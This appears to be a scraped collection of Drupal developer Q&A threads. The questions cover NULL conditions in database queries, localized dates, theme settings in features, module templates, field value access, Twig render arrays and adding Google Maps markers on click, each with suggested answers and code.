LIMIT 21 OFFSET 0' at line 4: SELECT n.nid AS nid
FROM
{node} n
INNER JOIN {field_data_field_category} t ON t.entity_id = n.nid
INNER JOIN {flag_content} f ON f.content_id = n.nid AND f.content_type = "node" AND f.fid = 5
INNER JOIN {field_data_field_question} q ON q.entity_id = n.nid AND q.field_question_value = 1
WHERE (t.field_category_tid = :db_condition_placeholder_0) AND (f.fid IS :db_condition_placeholder_1) AND (q.field_question_value IS NOT :db_condition_placeholder_2)
LIMIT 21 OFFSET 0; Array
( [:db_condition_placeholder_0] => 464 [:db_condition_placeholder_1] => NULL [:db_condition_placeholder_2] => NULL
)
in queryExecuteRender_recentActivity() (line 57 of someFile.php).

Is this not the correct way to pass NULL values into a query?

The database API actually has a preferred way to add expressions of this type, namely the SelectQuery::isNull() and SelectQuery::isNotNull() functions. You can use them like this:

$query->isNull('f.fid');

$query->isNotNull('q.field_question_value');


date information in another language In order to display the date information in French, I have modified the node.tpl.php file as follows.

 print t('publi&eacute; le !datetime',
      array('!datetime' => format_date($variables['node']->created, $type='medium', $format = 'D j F Y', $timezone = NULL, $langcode = 'fr'))
 );

The week day, and the month are still displayed in English!

Add this to your template.php file.

function THEMENAME_preprocess_node(&$variables) {
  $variables['submitted'] = t('Submitted by !username on !datetime', array('!username' => $variables['name'], '!datetime' => $variables['date']));
}

You might need to add this to your node.page.tpl file.

$variables['submitted'] = t('Submitted on !datetime', array('!datetime' => $variables['date']));

The source is this post.


Can i port theme settings also in a feature I tried to port a theme settings like default theme, other theme settings in a feature. But when i enable this feature along with the theme on a new website. It does not take effect.

Theme settings are usually stored as a variable, which is exportable with strongarm. Note that some things in the theming system is cached.


Module template file to extend theme I want my module (events) to have its own template files but extend the base theme currently enabled.

hook_theme():

function events_theme($existing, $type, $theme, $path) {
    return array(
        'test_events' => array(
            'variables' => array('testingvar' => 123),
            'template' => 'test_events',
            'path' => drupal_get_path('module', 'events') . '/templates',
            'base hook' => 'mytheme'
        )
    );
}

In my menu callback I have:
print theme('test_events');

This outputs the contents of the template file, but it doesn't recognize the current theme that is enabled. Is there anyway I can extend the themes layout?

Edit: current situation:

Abstract of  my directory structure:

Modules\
-custom\
--events\
---templates\
----test_events.tpl.php

Themes\
-mytheme\
--templates\
---test_events.tpl.php

events.module:

function events_theme($existing, $type, $theme, $path) {
    return array(
        'different_event_hook' => array(
            'path' => $path . '/templates',
            'template' => 'test_events'
        )
    );
}

menu callback:

print theme('different_event_hook');

Result renders from module template file, if I change different_event_hook to test_events it renders from the theme template file.

The Drupal process is Core -> Module -> Theme. Trying to work backwards on that route is bad design, and should be avoided at all costs. Modules should not be based on themes, nor should they have any dependencies on themes, as themes are entirely dependent on modules, and downstream of modules.

If you need to make changes based on theme, it should happen in the theme.

Example. In your module, define hook_theme()

function hook_theme($existing, $type, $theme, $path)
{
  return array
  (
    'my_theme_hook' => array
    (
      // the template will be in [MODULE_ROOT]/templates
      'path' => $path . '/templates',
      'template' => 'my-theme-hook', // leave off the .tpl.php
    ),
  );
}

The above defines a new theme hook called my_theme_hook, and the output of that theme hook is built in the template [MODULE_ROOT]/templates/my-theme-hook.tpl.php

Now you can use [MODULE_ROOT]/my-theme-hook.tpl.php, or even [MODULE_ROOT]/templates/my-theme-hook.tpl.php (this location works automatically for any templates). Clear your cache, and now the template in your theme will be used instead of the template in the module. Again, don't forget to clear your cache - the template will not be picked up until then.


Get node values from array with Drupal API? With Drupal API I found you can get the values of a node with noad_load like so:

$thisnode = node_load($nid = $child2, $vid = NULL, $reset = FALSE);

Now it is easy to echo the title in this way

$thisnode->title;

But the array begins to get quite complex when I try and get data from the custom image_thumbnail field because it is array within array. See the full printed array for one node:

stdClass Object ( [vid] => 4 [uid] => 1 [title] => Who we are [log] => [status] => 1 [comment] => 0 [promote] => 0 [sticky] => 0 [nid] => 4 [type] => level_2 [language] => und [created] => 1345561152 [changed] => 1346982536 [tnid] => 0 [translate] => 0 [revision_timestamp] => 1346982536 [revision_uid] => 1 [body] => Array ( [und] => Array ( [0] => Array ( [value] => blah blah blah [summary] => [format] => plain_text [safe_value] =>

blah blah blah
 [safe_summary] => ) ) ) [field_parent2] => Array ( [und] => Array ( [0] => Array ( [target_id] => 2 ) ) ) [field_level2_thumbnail_image] => Array ( [und] => Array ( [0] => Array ( [fid] => 4 [alt] => this is a photo [title] => this is a photo [width] => 308 [height] => 198 [uid] => 1 [filename] => article-image.png [uri] => public://article-image.png [filemime] => image/png [filesize] => 105660 [status] => 1 [timestamp] => 1346982536 [rdf_mapping] => Array ( ) ) ) ) [rdf_mapping] => Array ( [rdftype] => Array ( [0] => sioc:Item [1] => foaf:Document ) [title] => Array ( [predicates] => Array ( [0] => dc:title ) ) [created] => Array ( [predicates] => Array ( [0] => dc:date [1] => dc:created ) [datatype] => xsd:dateTime [callback] => date_iso8601 ) [changed] => Array ( [predicates] => Array ( [0] => dc:modified ) [datatype] => xsd:dateTime [callback] => date_iso8601 ) [body] => Array ( [predicates] => Array ( [0] => content:encoded ) ) [uid] => Array ( [predicates] => Array ( [0] => sioc:has_creator ) [type] => rel ) [name] => Array ( [predicates] => Array ( [0] => foaf:name ) ) [comment_count] => Array ( [predicates] => Array ( [0] => sioc:num_replies ) [datatype] => xsd:integer ) [last_activity] => Array ( [predicates] => Array ( [0] => sioc:last_activity_date ) [datatype] => xsd:dateTime [callback] => date_iso8601 ) ) [name] => slawrence10 [picture] => 0 [data] => b:0; )

What's the best way to extract for example alt from *field_level2_thumbnail_image*?

I can do it like so:

$thisnode->field_level2_thumbnail_image['und'][0]['alt'];

But is this stable? Will 'und' always be 0? Am I missing something here?

If it is for page view of some kind, I think you can maybe try for this more robust way of getting at field values:

$output = field_view_field('node', $node, 'field_name');

An important trick that shows one of the ways to deal with field data properly. Initially  learned a while back off this site.

Another method of getting at the data I just thought of and use quite a bit in a recent project is entity api. Highly recommended add-on.
Consider the following borrowed snippet that shows how to deal with mail field. Other fields are the same.

   $wrapper = entity_metadata_wrapper('node', $node);
   $wrapper->author->mail->value();

To update the user's mail address one could use

   $wrapper->author->mail->set('stefp@example.com');

   or

   $wrapper->author->mail = 'stef@example.com';

Last but not least, there are still yet other alternatives surely?

Best practice for language key for "und" in hook_form_alter.  I did not flag as duplicate as I did not check into detail if other question was detailed or not, but it should be enough to give you ideas.

Good-luck.


Is this acceptable for passing data from a module to a template? I'm attempting to pass some data from a block module into a template. I've found that I can make up a render array property and then access it in the template. Here is an example of my code:

class MyBlock extends BlockBase {
      return [
        '#firstname' => 'John',
        '#lastname' => 'Doe',
      ];
    }

I can access this data in the twig templeate by using:

{{ elements.myblock.content['#firstname'] }}
{{ elements.myblock.content['#lastname'] }}

Is this an acceptable means for passing data into a template? All the other examples I've found have the render arrays being picked up by a hook_theme function and then getting passed to the template. The method I show above seems simpler and I'm wondering if there is something problematic with doing it this way.

Thanks!

If you pass the variables like the following:

class MyBlock extends BlockBase {
  public function build() {
    return [
      '#firstname' => 'John',
      '#lastname' => 'Doe',
    ];
  }
}

You can access to your variables #firstname and #lastname like:

{{ content['#firstname'] }}
{{ content['#lastname'] }}


How to create new markers into a Google map with click? I want to add a marker on click event and add it into exact location where user clicked on map.

Can't use any of the official examples which eventually return nothing.

My current module specific js code is as follows (just trying to build it step by step):

(function ($) {
  Drupal.behaviors.gmapPage = {
    attach: function(context, settings) {

      // Get map object / instance
      var map = Drupal.gmap.getMap($('.gmap-gmap').attr('id'));

      // Is this available in some other way?
      console.log(map); // Prints Drupal.gmap.map, but map != Drupal.gmap.map

      google.maps.event.addListener(map, 'click', function (e) {
        console.log(e.latLng);
      });

    }
  };
})(jQuery);

Everything else is fine but cannot create any functionality for the map.
Such an easy development task which seems so unbelievably challenging...

And this is purely for the front-end /ui - this question isn't about how to save location, load them into map etc. back-end related.

UPDATE:

I've added following script just for testing purposes:

(function ($) {
    Drupal.behaviors.gmapPage = {
        attach: function(context, settings) {

          // Get map object / instance
          var map = Drupal.gmap.getMap(settings.gmap.auto2map.id);
          // Following works although e is undefined
          // if 'ready' is changed to 'click' nothing happens
          map.bind('ready', function (e){
                console.log(e, 'map is ready');
          });

       }
    };
})(jQuery);

This is working example at my side please check here Demo

function initCentraDistrictmap()
{
var mapOptions = {
zoom: 12,
center: new google.maps.LatLng(1.3050618171691895, 103.8240737915039),
mapTypeId: 'roadmap'
 };
    map = new google.maps.Map(document.getElementById('map-canvas'),mapOptions);

google.maps.event.addListener(map, "click", function (event) {

var myLatLng = new google.maps.LatLng(event.latLng.lat(),event.latLng.lng());
var image = 'data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20width%3D%2246%22%20height%3D%2244%22%3E%0A%3Ccircle%20cx%3D%2223%22%20cy%3D%2222%22%20r%3D%2220%22%20stroke%3D%22%23000%22%20stroke-width%3D%222%22%20fill%3D%22%23ff3019%22/%3E%0A%3Ctext%20transform%3D%22translate%2823%2025%29%22%20fill%3D%22%23fff%22%20style%3D%22font-family%3A%20Arial%2C%20sans-serif%3Bfont-weight%3Abold%3Btext-align%3Acenter%3B%22%20font-size%3D%2212%22%20text-anchor%3D%22middle%22%3ETesting%3C/text%3E%0A%3C/svg%3E';
var marker = new google.maps.Marker({
      position: myLatLng,
      map: map,
      icon: image// baseURL + 'assets/drawsvg.svg'
  });
});
}
 $(document).ready(function(){
  initCentraDistrictmap();
 })